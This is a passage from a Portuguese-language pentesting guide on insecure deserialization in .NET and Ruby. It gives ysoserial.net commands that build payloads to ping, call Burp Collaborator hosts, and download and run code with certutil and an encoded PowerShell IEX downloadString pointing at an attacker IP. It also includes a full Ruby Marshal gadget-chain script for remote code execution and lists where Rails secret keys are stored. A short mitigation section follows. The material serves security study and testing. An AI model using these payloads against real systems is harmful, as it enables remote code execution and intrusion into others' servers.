Neste caso, você pode usar a ferramenta ysoserial.net para criar os exploits de desserialização. Após baixar o repositório git, você deve compilar a ferramenta usando o Visual Studio, por exemplo.
Se você quiser aprender sobre como o ysoserial.net cria seu exploit, você pode ver esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + formatador Json.Net.
As principais opções do ysoserial.net são: --gadget
, --formatter
, --output
e --plugin
.
--gadget
usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).--formatter
, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está sendo usada no back-end para desserializar a carga útil e usar a mesma para serializá-la)--output
usado para indicar se você deseja o exploit em formato raw ou codificado em base64. Observe que o ysoserial.net irá codificar a carga útil usando UTF-16LE (codificação usada por padrão no Windows), então se você obtiver o raw e apenas codificá-lo a partir de um console Linux, você pode ter alguns problemas de compatibilidade de codificação que impedirão o exploit de funcionar corretamente (na caixa JSON HTB, a carga útil funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará).--plugin
o ysoserial.net suporta plugins para criar exploits para frameworks específicos como ViewState
Mais parâmetros do ysoserial.net
--minify
fornecerá uma carga útil menor (se possível)--raf -f Json.Net -c "anything"
Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (Json.Net
neste caso)--sf xml
você pode indicar um gadget (-g
) e o ysoserial.net procurará por formatadores contendo "xml" (maiúsculas e minúsculas)
Exemplos do ysoserial para criar exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net também possui um parâmetro muito interessante que ajuda a entender melhor como cada exploit funciona: --test
. Se você indicar este parâmetro, ysoserial.net irá tentar o exploit localmente, para que você possa testar se sua carga útil funcionará corretamente. Este parâmetro é útil porque, ao revisar o código, você encontrará trechos de código como o seguinte (de ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Isso significa que, para testar o exploit, o código irá chamar serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
O código anterior é vulnerável ao exploit criado. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso provavelmente significa que essa aplicação também é vulnerável.
Portanto, o parâmetro --test
nos permite entender quais trechos de código são vulneráveis ao exploit de deserialização que o ysoserial.net pode criar.
ViewState
Dê uma olhada neste POST sobre como tentar explorar o parâmetro __ViewState do .Net para executar código arbitrário. Se você já conhece os segredos usados pela máquina vítima, leia este post para saber como executar código.
Prevenção
Para mitigar os riscos associados à deserialização no .Net:
- Evite permitir que fluxos de dados definam seus tipos de objeto. Utilize
DataContractSerializer
ouXmlSerializer
sempre que possível. - Para
JSON.Net
, definaTypeNameHandling
comoNone
: %%%TypeNameHandling = TypeNameHandling.None%%% - Evite usar
JavaScriptSerializer
com umJavaScriptTypeResolver
. - Limite os tipos que podem ser desserializados, entendendo os riscos inerentes aos tipos do .Net, como
System.IO.FileInfo
, que pode modificar as propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço. - Tenha cautela com tipos que possuem propriedades arriscadas, como
System.ComponentModel.DataAnnotations.ValidationException
com sua propriedadeValue
, que pode ser explorada. - Controle com segurança a instanciação de tipos para evitar que os atacantes influenciem o processo de desserialização, tornando até mesmo o
DataContractSerializer
ouXmlSerializer
vulneráveis. - Implemente controles de lista branca usando um
SerializationBinder
personalizado paraBinaryFormatter
eJSON.Net
. - Mantenha-se informado sobre gadgets de desserialização inseguros conhecidos dentro do .Net e garanta que os desserializadores não instanciem esses tipos.
- Isolar o código potencialmente arriscado do código com acesso à internet para evitar expor gadgets conhecidos, como
System.Windows.Data.ObjectDataProvider
em aplicações WPF, a fontes de dados não confiáveis.
Referências
- Artigo sobre desserialização JSON em Java e .Net: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, palestra: https://www.youtube.com/watch?v=oUAeWhW5b8c e slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Em Ruby, a serialização é facilitada por dois métodos dentro da biblioteca marshal. O primeiro método, conhecido como dump, é usado para transformar um objeto em um fluxo de bytes. Esse processo é chamado de serialização. Por outro lado, o segundo método, load, é empregado para reverter um fluxo de bytes de volta para um objeto, um processo conhecido como desserialização.
Para garantir a segurança de objetos serializados, Ruby utiliza HMAC (Código de Autenticação de Mensagem Baseado em Hash), garantindo a integridade e autenticidade dos dados. A chave utilizada para esse fim é armazenada em uma das várias localizações possíveis:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Cadeia de gadgets de deserialização genérica para RCE do Ruby 2.X (mais informações em https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Outra cadeia de RCE para explorar o Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/